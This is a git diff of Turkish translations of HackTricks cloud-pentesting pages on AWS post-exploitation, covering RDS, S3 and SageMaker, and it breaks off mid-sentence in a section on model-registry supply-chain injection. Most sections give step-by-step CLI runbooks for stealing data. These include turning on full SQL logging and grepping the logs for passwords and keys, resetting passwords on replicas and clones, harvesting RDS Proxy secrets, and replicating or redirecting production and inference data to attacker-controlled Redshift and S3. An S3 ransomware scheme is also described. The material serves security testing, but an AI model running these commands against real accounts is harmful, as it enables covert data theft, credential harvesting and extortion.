açmak için) -Impact: Üretim verilerinin bir kopyasını başka bir Bölgeye restore ederek ve saldırgan kontrollü kimlik bilgileriyle bunu herkese açık hale getirerek kalıcılık ve veri sızdırma. +Etkisi: Üretim verilerinin bir kopyasını başka bir Region'a geri yükleyip bunu saldırgan kontrollü kimlik bilgileriyle herkese açık hale getirerek kalıcılık ve veri sızdırma sağlar.
Uçtan uca CLI (yer tutucuları değiştirin) @@ -163,25 +163,25 @@ aws rds stop-db-instance-automated-backups-replication \
-### DB parameter groups aracılığıyla tam SQL logging'i etkinleştir ve RDS log APIs ile exfiltrate et +### DB parametre grupları aracılığıyla tam SQL logging'i etkinleştirerek RDS log API'leri ile exfiltrate edin -`rds:ModifyDBParameterGroup`'ı RDS log download APIs ile kullanarak uygulamalar tarafından yürütülen tüm SQL ifadelerini yakalayın (DB engine credentials gerekmez). Engine SQL logging'i etkinleştir ve dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` ile çek (veya REST `downloadCompleteLogFile`). Bu, secrets/PII/JWTs içerebilecek sorguları toplamak için faydalıdır. +Uygulamalar tarafından yürütülen tüm SQL ifadelerini yakalamak için `rds:ModifyDBParameterGroup`'ı RDS log indirme API'leri ile kötüye kullanın (DB engine kimlik bilgileri gerekmez). Motor SQL logging'ini etkinleştirip dosya loglarını `rds:DescribeDBLogFiles` ve `rds:DownloadDBLogFilePortion` (veya REST `downloadCompleteLogFile`) ile çekin. Gizli bilgiler/PII/JWT içerebilecek sorguları toplamak için kullanışlıdır. Gerekli izinler (asgari): - `rds:DescribeDBInstances`, `rds:DescribeDBLogFiles`, `rds:DownloadDBLogFilePortion` - `rds:CreateDBParameterGroup`, `rds:ModifyDBParameterGroup` -- `rds:ModifyDBInstance` (sadece örnek varsayılanı kullanıyorsa özel bir parametre grubu eklemek için) -- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, örn. PostgreSQL) +- `rds:ModifyDBInstance` (sadece örnek varsayılan bir tane kullanıyorsa özel bir parameter group eklemek için) +- `rds:RebootDBInstance` (yeniden başlatma gerektiren parametreler için, ör. PostgreSQL) Adımlar -1) Recon hedefini ve mevcut parametre grubunu keşfet +1) Recon: hedefi ve mevcut parametre grubunu keşfedin ```bash aws rds describe-db-instances \ --query 'DBInstances[*].[DBInstanceIdentifier,Engine,DBParameterGroups[0].DBParameterGroupName]' \ --output table ``` 2) Özel bir DB parameter group iliştirilmiş olduğundan emin olun (varsayılan düzenlenemez) -- Eğer instance zaten bir custom group kullanıyorsa, sonraki adımda adını tekrar kullanın. +- Eğer instance zaten özel bir grup kullanıyorsa, bir sonraki adımda adını tekrar kullanın. - Aksi halde engine family ile eşleşen bir tane oluşturup iliştirin: ```bash # Example for PostgreSQL 16 @@ -196,8 +196,8 @@ aws rds modify-db-instance \ --apply-immediately # Wait until status becomes "available" ``` -3) Ayrıntılı SQL kayıtlamayı etkinleştir -- MySQL motorları (anında / yeniden başlatma gerekmez): +3) Ayrıntılı SQL logging'i etkinleştirin +- MySQL engine'leri (anında / yeniden başlatma gerekmez): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -208,7 +208,7 @@ aws rds modify-db-parameter-group \ # "ParameterName=slow_query_log,ParameterValue=1,ApplyMethod=immediate" \ # "ParameterName=long_query_time,ParameterValue=0,ApplyMethod=immediate" ``` -- PostgreSQL engine'leri (yeniden başlatma gerekli): +- PostgreSQL motorları (yeniden başlatma gerekli): ```bash aws rds modify-db-parameter-group \ --db-parameter-group-name \ @@ -220,11 +220,11 @@ aws rds modify-db-parameter-group \ # Reboot if any parameter is pending-reboot aws rds reboot-db-instance --db-instance-identifier ``` -4) İş yükünün çalışmasına izin verin (veya sorgular oluşturun). İfadeler engine dosya kayıtlarına yazılacaktır +4) İş yükünü çalıştırın (veya sorgular oluşturun). İfadeler engine dosya loglarına yazılacaktır - MySQL: `general/mysql-general.log` - PostgreSQL: `postgresql.log` -5) Kayıtları keşfedin ve indirin (DB kimlik bilgileri gerekmiyor) +5) Logları keşfedin ve indirin (veritabanı kimlik bilgileri gerekmez) ```bash aws rds describe-db-log-files --db-instance-identifier @@ -246,7 +246,7 @@ grep -Ei "password=|aws_access_key_id|secret|authorization:|bearer" dump.log | s 2025-10-06T..Z 13 Query INSERT INTO t(note) VALUES ('aws_access_key_id=AKIA... secret=REDACTED') ``` Temizlik -- Parametreleri varsayılanlara geri döndür ve gerekirse yeniden başlat: +- Parametreleri varsayılanlara geri döndürün ve gerekiyorsa yeniden başlatın: ```bash # MySQL aws rds modify-db-parameter-group \ @@ -261,19 +261,19 @@ aws rds modify-db-parameter-group \ "ParameterName=log_statement,ParameterValue=none,ApplyMethod=pending-reboot" # Reboot if pending-reboot ``` -Etkisi: Post-exploitation sırasında AWS API'leri üzerinden tüm uygulama SQL ifadelerini yakalayarak veri erişimi (no DB creds); potansiyel olarak secrets, JWTs ve PII'nin leak olma riski. +Impact: Post-exploitation aşamasında AWS API'leri aracılığıyla tüm uygulama SQL ifadelerini yakalayarak veri erişimi (no DB creds); potansiyel olarak secrets, JWTs ve PII leak. ### `rds:CreateDBInstanceReadReplica`, `rds:ModifyDBInstance` -RDS read replicas'ları kötüye kullanarak birincil instance kimlik bilgilerine dokunmadan out-of-band okuma erişimi elde edilebilir. Bir saldırgan production instance'tan bir read replica oluşturabilir, replica'nın master parolasını sıfırlayabilir (bu primary'i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replicayı public olarak açabilir. +RDS read replica'larını kötüye kullanarak primary instance kimlik bilgilerine dokunmadan out-of-band okuma erişimi elde edin. Bir saldırgan production instance'tan bir read replica oluşturabilir, replica'nın master password'unu resetleyebilir (bu primary'i değiştirmez) ve isteğe bağlı olarak verileri exfiltrate etmek için replicayı public olarak açabilir. -Gerekli izinler (asgari): +Permissions needed (minimum): - `rds:DescribeDBInstances` - `rds:CreateDBInstanceReadReplica` - `rds:ModifyDBInstance` - `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress` (if exposing publicly) -Etkisi: Saldırgan kontrollü kimlik bilgilerine sahip bir replica üzerinden production verilerine yalnızca okunur erişim; primary'e dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür. +Impact: Replica üzerinden attacker-controlled credentials ile production verilerine sadece-okuma erişimi; primary'e dokunulmadığı ve replication devam ettiği için tespit edilme olasılığı daha düşüktür. ```bash # 1) Recon: find non-Aurora sources with backups enabled aws rds describe-db-instances \ @@ -305,12 +305,12 @@ REPL_ENDPOINT=$(aws rds describe-db-instances --db-instance-identifier # aws rds promote-read-replica --db-instance-identifier ``` Örnek kanıt (MySQL): -- Replika DB durumu: `available`, okuma replikasyonu: `replicating` -- Yeni parola ile başarılı bağlantı ve `@@read_only=1` ile salt okunur replikaya erişim doğrulandı. +- Replica DB durumu: `available`, read replication: `replicating` +- Yeni parola ile başarılı bağlantı ve `@@read_only=1` değeri, salt okunur replica erişimini doğrular. ### `rds:CreateBlueGreenDeployment`, `rds:ModifyDBInstance` -Kötüye kullanın RDS Blue/Green'i, üretim veritabanını sürekli replikasyonlu, salt okunur bir green ortama klonlamak için. Sonra green master kimlik bilgilerini sıfırlayarak blue (prod) instance'ına dokunmadan verilere erişin. Bu, snapshot sharing'den daha sinsi olup genellikle yalnızca kaynağa odaklanan izlemeyi atlatır. +RDS Blue/Green'ı üretim DB'sini sürekli replikasyonlu, salt okunur green ortama klonlamak için kötüye kullanın. Daha sonra blue (prod) instance'a dokunmadan verilere erişmek için green master kimlik bilgilerini sıfırlayın. Bu, snapshot sharing'den daha gizlidir ve genellikle yalnızca kaynağa odaklanan izlemeyi atlatır. ```bash # 1) Recon – find eligible source (non‑Aurora MySQL/PostgreSQL in the same account) aws rds describe-db-instances \ @@ -357,18 +357,19 @@ aws rds delete-blue-green-deployment \ --blue-green-deployment-identifier \ --delete-target true ``` -Impact: Yazma izni yok ama üretimin neredeyse gerçek zamanlı klonuna tam veri erişimi sağlar; üretim örneğini değiştirmeden. Gizli veri çıkarma ve çevrimdışı analiz için kullanışlı. +Etkisi: Üretim örneğini değiştirmeden üretimin neredeyse gerçek zamanlı bir klonuna salt-okunur ancak tam veri erişimi. Gizli veri çıkarma ve çevrimdışı analiz için kullanışlıdır. -### RDS Data API aracılığıyla bant-dışı SQL — HTTP endpoint'ini etkinleştirerek + master parolayı sıfırlayarak -Aurora'yı, hedef bir cluster'da RDS Data API HTTP endpoint'ini etkinleştirmek, master parolayı kontrolünüzdeki bir değere sıfırlamak ve HTTPS üzerinden SQL çalıştırmak için kötüye kullanın (VPC ağ yolu gerekmez). Data API/EnableHttpEndpoint'i destekleyen Aurora engine'lerde çalışır (ör. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri). +### RDS Data API üzerinden bantdışı SQL — HTTP uç noktasını etkinleştirip master parolayı sıfırlama ile + +Aurora'yı kötüye kullanarak hedef bir cluster üzerinde RDS Data API HTTP uç noktasını etkinleştirin, master parolayı kontrolünüzde olan bir değere sıfırlayın ve HTTPS üzerinden SQL çalıştırın (VPC ağ yolu gerekmez). Data API/EnableHttpEndpoint'i destekleyen Aurora motorlarında çalışır (ör. Aurora MySQL 8.0 provisioned; bazı Aurora PostgreSQL/MySQL sürümleri). Permissions (minimum): - rds:DescribeDBClusters, rds:ModifyDBCluster (or rds:EnableHttpEndpoint) - secretsmanager:CreateSecret - rds-data:ExecuteStatement (and rds-data:BatchExecuteStatement if used) -Impact: Ağ segmentasyonunu atlar ve DB'ye doğrudan VPC bağlantısı olmadan AWS API'leri aracılığıyla veri sızdırır. +Etkisi: Ağ segmentasyonunu aşar ve verileri doğrudan DB'ye VPC bağlantısı olmadan AWS API'leri aracılığıyla dışa aktarır.
Uçtan uca CLI (Aurora MySQL örneği) @@ -424,21 +425,21 @@ aws rds-data execute-statement --region $REGION --resource-arn "$CLUSTER_ARN" \
Notlar: -- Eğer multi-statement SQL rds-data tarafından reddediliyorsa, ayrı execute-statement çağrıları yapın. -- modify-db-cluster --enable-http-endpoint'in etkisi olmayan motorlar için rds enable-http-endpoint --resource-arn kullanın. -- Motor/sürümün gerçekten Data API'yi desteklediğinden emin olun; aksi takdirde HttpEndpointEnabled False olarak kalır. +- Eğer rds-data tarafından multi-statement SQL reddediliyorsa, ayrı execute-statement çağrıları yapın. +- modify-db-cluster --enable-http-endpoint'in etkili olmadığı engine'ler için rds enable-http-endpoint --resource-arn kullanın. +- engine/version'ın gerçekten Data API'yi desteklediğinden emin olun; aksi halde HttpEndpointEnabled False olarak kalacaktır. -### RDS Proxy auth secrets aracılığıyla DB kimlik bilgilerini elde etme (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) +### Harvest DB credentials via RDS Proxy auth secrets (`rds:DescribeDBProxies` + `secretsmanager:GetSecretValue`) -RDS Proxy yapılandırmasını kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Pek çok ortam geniş `secretsmanager:GetSecretValue` izni verir; bu da DB kimlik bilgilerine düşük sürtünmeli bir pivot sağlar. Eğer secret bir CMK kullanıyorsa, yanlış yapılandırılmış KMS izinleri ayrıca `kms:Decrypt` iznini verebilir. +RDS Proxy konfigürasyonunu kötüye kullanarak backend kimlik doğrulaması için kullanılan Secrets Manager secret'ını keşfedin, ardından veritabanı kimlik bilgilerini elde etmek için secret'ı okuyun. Birçok ortam geniş `secretsmanager:GetSecretValue` izinleri veriyor, bu da DB kimlik bilgilerine düşük sürtüşmeli bir pivot sağlar. Secret bir CMK kullanıyorsa, yanlış kapsamlandırılmış KMS izinleri ayrıca `kms:Decrypt` iznini de sağlayabilir. -Gerekli izinler (minimum): +Gerekli izinler (asgari): - `rds:DescribeDBProxies` - `secretsmanager:GetSecretValue` on the referenced SecretArn - Optional when the secret uses a CMK: `kms:Decrypt` on that key -Etkisi: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının anında ifşası; doğrudan DB erişimi veya daha fazla lateral movement olanağı sağlar. +Etkisi: Proxy üzerinde yapılandırılmış DB kullanıcı adı/parolasının derhal ifşa olması; doğrudan DB erişimi veya daha fazla lateral movement sağlar. Adımlar ```bash @@ -453,7 +454,7 @@ aws secretsmanager get-secret-value \ --query SecretString --output text # Example output: {"username":"admin","password":"S3cr3t!"} ``` -Laboratuvar (yeniden üretmek için asgari gereksinimler) +Laboratuvar (yeniden üretmek için minimum) ```bash REGION=us-east-1 ACCOUNT_ID=$(aws sts get-caller-identity --query Account --output text) @@ -481,18 +482,18 @@ aws secretsmanager delete-secret --secret-id rds/proxy/aurora-demo --force-delet ``` ### Stealthy continuous exfiltration via Aurora zero‑ETL to Amazon Redshift (rds:CreateIntegration) -Aurora PostgreSQL zero‑ETL entegrasyonunu suistimal ederek üretim verilerini sizin kontrolünüzdeki bir Redshift Serverless namespace'e sürekli olarak replike edin. Belirli bir Aurora cluster ARN için CreateInboundIntegration/AuthorizeInboundIntegration yetkisi veren gevşek bir Redshift resource policy ile bir saldırgan, DB kimlik bilgileri, snapshot veya ağ açığı olmadan neredeyse gerçek zamanlı bir veri kopyası oluşturabilir. +Aurora PostgreSQL zero‑ETL entegrasyonunu kötüye kullanarak üretim verilerini kontrolünüzdeki bir Redshift Serverless namespace içine sürekli olarak replikasyon yapın. Belirli bir Aurora cluster ARN için CreateInboundIntegration/AuthorizeInboundIntegration yetkisi veren esnek bir Redshift resource policy ile, bir saldırgan DB kimlik bilgileri, snapshot veya ağ açığı olmaksızın neredeyse gerçek zamanlı bir veri kopyası oluşturabilir. -Gerekli izinler (asgari): +Gerekli izinler (minimum): - `rds:CreateIntegration`, `rds:DescribeIntegrations`, `rds:DeleteIntegration` - `redshift:PutResourcePolicy`, `redshift:DescribeInboundIntegrations`, `redshift:DescribeIntegrations` -- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (sorgulamak için) -- `rds-data:ExecuteStatement` (istemci; gerekiyorsa veri başlatmak için) +- `redshift-data:ExecuteStatement/GetStatementResult/ListDatabases` (sorgulama için) +- `rds-data:ExecuteStatement` (isteğe bağlı; gerekirse veri başlatmak için) -Tested on: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless. +Test edildi: us-east-1, Aurora PostgreSQL 16.4 (Serverless v2), Redshift Serverless.
-1) Create Redshift Serverless namespace + workgroup +1) Redshift Serverless namespace + workgroup oluşturma ```bash REGION=us-east-1 RS_NS_ARN=$(aws redshift-serverless create-namespace --region $REGION --namespace-name ztl-ns \ @@ -539,7 +540,7 @@ aws redshift put-resource-policy --region $REGION --resource-arn "$RS_NS_ARN" --
-3) Aurora PostgreSQL kümesi oluşturun (Data API ve logical replication etkinleştirin) +3) Aurora PostgreSQL kümesi oluşturun (Data API ve logical replication'i etkinleştirin) ```bash CLUSTER_ID=aurora-ztl aws rds create-db-cluster --region $REGION --db-cluster-identifier $CLUSTER_ID \ @@ -582,7 +583,7 @@ aws redshift describe-inbound-integrations --region $REGION --target-arn "$RS_NS
-5) Redshift'te çoğaltılmış verileri maddileştirin ve sorgulayın +5) Redshift'te çoğaltılmış veriyi materialize etme ve sorgulama ```bash # Create a Redshift database from the inbound integration (use integration_id from SVV_INTEGRATION) aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --database dev \ @@ -597,9 +598,9 @@ aws redshift-data execute-statement --region $REGION --workgroup-name ztl-wg --d Testte gözlemlenen kanıtlar: - redshift describe-inbound-integrations: Status ACTIVE for Integration arn:...377a462b-... -- SVV_INTEGRATION, DB oluşturulmasından önce integration_id 377a462b-c42c-4f08-937b-77fe75d98211 ve durum PendingDbConnectState gösterdi. -- CREATE DATABASE FROM INTEGRATION işleminden sonra tabloları listelemek ztl şemasını ve customers tablosunu ortaya çıkardı; ztl.customers'tan yapılan seçim 2 satır döndürdü (Alice, Bob). +- SVV_INTEGRATION, DB oluşturulmadan önce integration_id 377a462b-c42c-4f08-937b-77fe75d98211 ve state PendingDbConnectState gösterdi. +- CREATE DATABASE FROM INTEGRATION sonrası, tablolar listelendiğinde schema ztl ve table customers görüldü; ztl.customers'tan seçim 2 satır döndürdü (Alice, Bob). -Etkisi: Seçili Aurora PostgreSQL tablolarının saldırgan tarafından kontrol edilen Redshift Serverless'e sürekli ve neredeyse gerçek zamanlı olarak sızdırılması; bu süreçte veritabanı kimlik bilgileri, yedekler veya kaynak kümesine ağ erişimi kullanılmıyor. +Etkisi: Saldırgan tarafından kontrol edilen Redshift Serverless'e seçilmiş Aurora PostgreSQL tablolarının sürekli, neredeyse gerçek zamanlı olarak dışa aktarılması; bu işlem veritabanı kimlik bilgileri, yedekler veya kaynak küme için ağ erişimi kullanmadan gerçekleşir. -{{#include ../../../banners/hacktricks-training.md}} +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md deleted file mode 100644 index c07f054d2..000000000 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation.md +++ /dev/null @@ -1,38 +0,0 @@ -# AWS - S3 Post Exploitation - -{{#include ../../../banners/hacktricks-training.md}} - -## S3 - -Daha fazla bilgi için kontrol edin: - -{{#ref}} -../aws-services/aws-s3-athena-and-glacier-enum.md -{{#endref}} - -### Hassas Bilgiler - -Bazen, kovalar içinde okunabilir hassas bilgiler bulabilirsiniz. Örneğin, terraform durum gizli anahtarları. - -### Pivotlama - -Farklı platformlar, hassas varlıkları depolamak için S3 kullanıyor olabilir.\ -Örneğin, **airflow** burada **DAG'ların** **kodunu** depoluyor olabilir veya **web sayfaları** doğrudan S3'ten sunulabilir. Yazma izinlerine sahip bir saldırgan, **kodunu** kovadan **değiştirerek** diğer platformlara **pivot** yapabilir veya JS dosyalarını değiştirerek **hesapları ele geçirebilir**. - -### S3 Fidye Yazılımı - -Bu senaryoda, **saldırgan kendi AWS hesabında veya başka bir ele geçirilmiş hesapta bir KMS (Anahtar Yönetim Servisi) anahtarı oluşturur**. Daha sonra bu **anahtarı dünyanın her yerinden erişilebilir hale getirir**, böylece herhangi bir AWS kullanıcısı, rolü veya hesabı bu anahtarı kullanarak nesneleri şifreleyebilir. Ancak, nesneler çözülemez. - -Saldırgan, bir hedef **S3 kovasını belirler ve buna yazma düzeyinde erişim kazanır**. Bu, kamuya açık bir şekilde maruz kalan kötü yapılandırılmış bir kova veya saldırganın AWS ortamına erişim kazanması nedeniyle olabilir. Saldırgan genellikle kişisel olarak tanımlanabilir bilgiler (PII), korunan sağlık bilgileri (PHI), günlükler, yedekler ve daha fazlasını içeren hassas bilgiler barındıran kovaları hedef alır. - -Kovanın fidye yazılımı için hedeflenip hedeflenemeyeceğini belirlemek için, saldırgan yapılandırmasını kontrol eder. Bu, **S3 Nesne Sürümleme** özelliğinin etkin olup olmadığını ve **çok faktörlü kimlik doğrulama silme (MFA silme) özelliğinin etkin olup olmadığını** doğrulamayı içerir. Nesne Sürümleme etkin değilse, saldırgan devam edebilir. Nesne Sürümleme etkin ancak MFA silme devre dışıysa, saldırgan **Nesne Sürümlemeyi devre dışı bırakabilir**. Hem Nesne Sürümleme hem de MFA silme etkinse, saldırganın o belirli kovayı fidye yazılımı ile hedef alması daha zor hale gelir. - -AWS API'sini kullanarak, saldırgan **kovadaki her nesneyi kendi KMS anahtarını kullanarak şifrelenmiş bir kopya ile değiştirir**. Bu, kovadaki verileri etkili bir şekilde şifreler ve anahtar olmadan erişilemez hale getirir. - -Daha fazla baskı eklemek için, saldırgan saldırıda kullanılan KMS anahtarının silinmesini planlar. Bu, hedefe anahtar silinmeden önce verilerini kurtarması için 7 günlük bir süre tanır ve veriler kalıcı olarak kaybolur. - -Son olarak, saldırgan genellikle "ransom-note.txt" olarak adlandırılan son bir dosya yükleyebilir; bu dosya, hedefe dosyalarını nasıl geri alacağına dair talimatlar içerir. Bu dosya, muhtemelen hedefin dikkatini çekmek ve fidye yazılımı saldırısından haberdar etmek için şifrelenmeden yüklenir. - -**Daha fazla bilgi için** [**orijinal araştırmayı kontrol edin**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md new file mode 100644 index 000000000..64678143c --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -0,0 +1,38 @@ +# AWS - S3 Post Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## S3 + +For more information check: + +{{#ref}} +../../aws-services/aws-s3-athena-and-glacier-enum.md +{{#endref}} + +### Sensitive Information + +Bazen buckets içinde okunabilir halde hassas bilgiler bulabilirsiniz. Örneğin, terraform state secrets. + +### Pivoting + +Farklı platformlar hassas varlıkları depolamak için S3 kullanıyor olabilir.\ +Örneğin, **airflow** orada **DAGs** **code** depoluyor olabilir ya da **web pages** doğrudan S3’ten servis ediliyor olabilir. Yazma izni olan bir saldırgan, bucket’taki **modify the code** ile diğer platformlara **pivot** yapabilir veya JS dosyalarını değiştirerek **takeover accounts** gerçekleştirebilir. + +### S3 Ransomware + +In this scenario, the **attacker creates a KMS (Key Management Service) key in their own AWS account** or another compromised account. They then make this **key accessible to anyone in the world**, allowing any AWS user, role, or account to encrypt objects using this key. However, the objects cannot be decrypted. + +The attacker identifies a target **S3 bucket and gains write-level access** to it using various methods. This could be due to poor bucket configuration that exposes it publicly or the attacker gaining access to the AWS environment itself. The attacker typically targets buckets that contain sensitive information such as personally identifiable information (PII), protected health information (PHI), logs, backups, and more. + +To determine if the bucket can be targeted for ransomware, the attacker checks its configuration. This includes verifying if **S3 Object Versioning** is enabled and if **multi-factor authentication delete (MFA delete) is enabled**. If Object Versioning is not enabled, the attacker can proceed. If Object Versioning is enabled but MFA delete is disabled, the attacker can **disable Object Versioning**. If both Object Versioning and MFA delete are enabled, it becomes more difficult for the attacker to ransomware that specific bucket. + +Using the AWS API, the attacker **replaces each object in the bucket with an encrypted copy using their KMS key**. This effectively encrypts the data in the bucket, making it inaccessible without the key. + +To add further pressure, the attacker schedules the deletion of the KMS key used in the attack. This gives the target a 7-day window to recover their data before the key is deleted and the data becomes permanently lost. + +Finally, the attacker could upload a final file, usually named "ransom-note.txt," which contains instructions for the target on how to retrieve their files. This file is uploaded without encryption, likely to catch the target's attention and make them aware of the ransomware attack. + +**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md new file mode 100644 index 000000000..85ae39f02 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/README.md @@ -0,0 +1,179 @@ +# AWS - SageMaker Post-Exploitation + +{{#include ../../../../banners/hacktricks-training.md}} + +## SageMaker endpoint data siphon via UpdateEndpoint DataCaptureConfig + +SageMaker endpoint yönetimini kötüye kullanarak model veya container'a dokunmadan tüm request/response kayıtlarını saldırgan kontrollü bir S3 bucket'ına yönlendirin. Sıfır/düşük kesintiyle bir rolling update kullanır ve yalnızca endpoint yönetimi izinleri gerektirir. + +### Requirements +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: `s3:CreateBucket` (veya aynı hesapta mevcut bir bucket kullanın) +- Optional (if using SSE‑KMS): `kms:Encrypt` on the chosen CMK +- Target: Aynı hesap/bölgede var olan InService durumundaki gerçek zamanlı bir endpoint + +### Steps +1) InService durumundaki bir endpoint'i belirleyin ve mevcut production variants'i toplayın +```bash +REGION=${REGION:-us-east-1} +EP=$(aws sagemaker list-endpoints --region $REGION --query "Endpoints[?EndpointStatus=='InService']|[0].EndpointName" --output text) +echo "Endpoint=$EP" +CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +echo "EndpointConfig=$CFG" +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CFG" --query ProductionVariants > /tmp/pv.json +``` +2) captures için attacker S3 destination'ı hazırlayın +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-capture-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION +``` +3) Aynı varyantları koruyan ancak DataCapture'ı attacker bucket'a etkinleştiren yeni bir EndpointConfig oluşturun + +Not: CLI doğrulamasını karşılayan açık içerik türleri kullanın. +```bash +NEWCFG=${CFG}-dc +cat > /tmp/dc.json << JSON +{ +"EnableCapture": true, +"InitialSamplingPercentage": 100, +"DestinationS3Uri": "s3://$BUCKET/capture", +"CaptureOptions": [ +{"CaptureMode": "Input"}, +{"CaptureMode": "Output"} +], +"CaptureContentTypeHeader": { +"JsonContentTypes": ["application/json"], +"CsvContentTypes": ["text/csv"] +} +} +JSON +aws sagemaker create-endpoint-config \ +--region $REGION \ +--endpoint-config-name "$NEWCFG" \ +--production-variants file:///tmp/pv.json \ +--data-capture-config file:///tmp/dc.json +``` +4) Yeni yapılandırmayı kademeli güncelleme (rolling update) ile uygula (asgari/hiç kesintiyle) +```bash +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +5) En az bir çıkarım isteği oluşturun (canlı trafik varsa isteğe bağlı) +```bash +echo '{"inputs":[1,2,3]}' > /tmp/payload.json +aws sagemaker-runtime invoke-endpoint --region $REGION --endpoint-name "$EP" \ +--content-type application/json --accept application/json \ +--body fileb:///tmp/payload.json /tmp/out.bin || true +``` +6) Saldırganın S3'ündeki yakalamaları doğrulayın +```bash +aws s3 ls s3://$BUCKET/capture/ --recursive --human-readable --summarize +``` +### Etki +- Hedef endpoint'ten attacker‑controlled S3 bucket'a gerçek‑zamanlı inference istek ve yanıt payload'larının (ve metadata'nın) tam exfiltration'ı. +- model/container image üzerinde hiçbir değişiklik yok ve yalnızca endpoint‑level değişiklikler, minimal operasyonel aksama ile stealthy data theft path sağlar. + + +## SageMaker async inference output hijack via UpdateEndpoint AsyncInferenceConfig + +Mevcut EndpointConfig'i klonlayıp AsyncInferenceConfig.OutputConfig içindeki S3OutputPath/S3FailurePath'i ayarlayarak endpoint yönetimini suistimal edin ve asenkron inference çıktılarının attacker‑controlled S3 bucket'a yönlendirilmesini sağlayın. Bu, model/container'ı değiştirmeden model predictions (ve container tarafından dahil edilen herhangi bir dönüşmüş input) exfiltrate eder. + +### Requirements +- IAM: `sagemaker:DescribeEndpoint`, `sagemaker:DescribeEndpointConfig`, `sagemaker:CreateEndpointConfig`, `sagemaker:UpdateEndpoint` +- S3: model execution role veya izinli bir bucket policy aracılığıyla attacker S3 bucket'a yazma yeteneği +- Target: Asenkron invokasyonların kullanıldığı (veya kullanılacak) bir InService endpoint + +### Steps +1) Hedef endpoint'ten mevcut ProductionVariants'i toplayın +```bash +REGION=${REGION:-us-east-1} +EP= +CUR_CFG=$(aws sagemaker describe-endpoint --region $REGION --endpoint-name "$EP" --query EndpointConfigName --output text) +aws sagemaker describe-endpoint-config --region $REGION --endpoint-config-name "$CUR_CFG" --query ProductionVariants > /tmp/pv.json +``` +2) attacker bucket oluşturun (model execution role'un ona PutObject yapabildiğinden emin olun) +```bash +ACC=$(aws sts get-caller-identity --query Account --output text) +BUCKET=ht-sm-async-exfil-$ACC-$(date +%s) +aws s3 mb s3://$BUCKET --region $REGION || true +``` +3) EndpointConfig'i klonlayın ve AsyncInference çıktıları saldırgan bucket'ına yönlendirin. +```bash +NEWCFG=${CUR_CFG}-async-exfil +cat > /tmp/async_cfg.json << JSON +{"OutputConfig": {"S3OutputPath": "s3://$BUCKET/async-out/", "S3FailurePath": "s3://$BUCKET/async-fail/"}} +JSON +aws sagemaker create-endpoint-config --region $REGION --endpoint-config-name "$NEWCFG" --production-variants file:///tmp/pv.json --async-inference-config file:///tmp/async_cfg.json +aws sagemaker update-endpoint --region $REGION --endpoint-name "$EP" --endpoint-config-name "$NEWCFG" +aws sagemaker wait endpoint-in-service --region $REGION --endpoint-name "$EP" +``` +4) Bir async invocation tetikleyin ve nesnelerin attacker S3'te olduğunu doğrulayın +```bash +aws s3 cp /etc/hosts s3://$BUCKET/inp.bin +aws sagemaker-runtime invoke-endpoint-async --region $REGION --endpoint-name "$EP" --input-location s3://$BUCKET/inp.bin >/tmp/async.json || true +sleep 30 +aws s3 ls s3://$BUCKET/async-out/ --recursive || true +aws s3 ls s3://$BUCKET/async-fail/ --recursive || true +``` +### Etki +- Asenkron çıkarım sonuçlarını (ve hata gövdelerini) saldırgan kontrolündeki S3'e yönlendirir; bu, model kodu veya image'ı değiştirmeden ve minimum/hiç kesinti olmadan, konteyner tarafından üretilen tahminlerin ve muhtemelen hassas ön/son işlem görmüş girdilerin örtülü olarak sızdırılmasını sağlar. + + +## SageMaker Model Registry tedarik zinciri enjeksiyonu aracılığıyla CreateModelPackage(Approved) + +Eğer bir saldırgan hedef SageMaker Model Package Group üzerinde CreateModelPackage yapabiliyorsa, saldırgan kontrolündeki bir container image'ına işaret eden yeni bir model sürümünü kaydedebilir ve bunu hemen Approved olarak işaretleyebilir. Birçok CI/CD pipeline'ı Approved model sürümlerini otomatik olarak 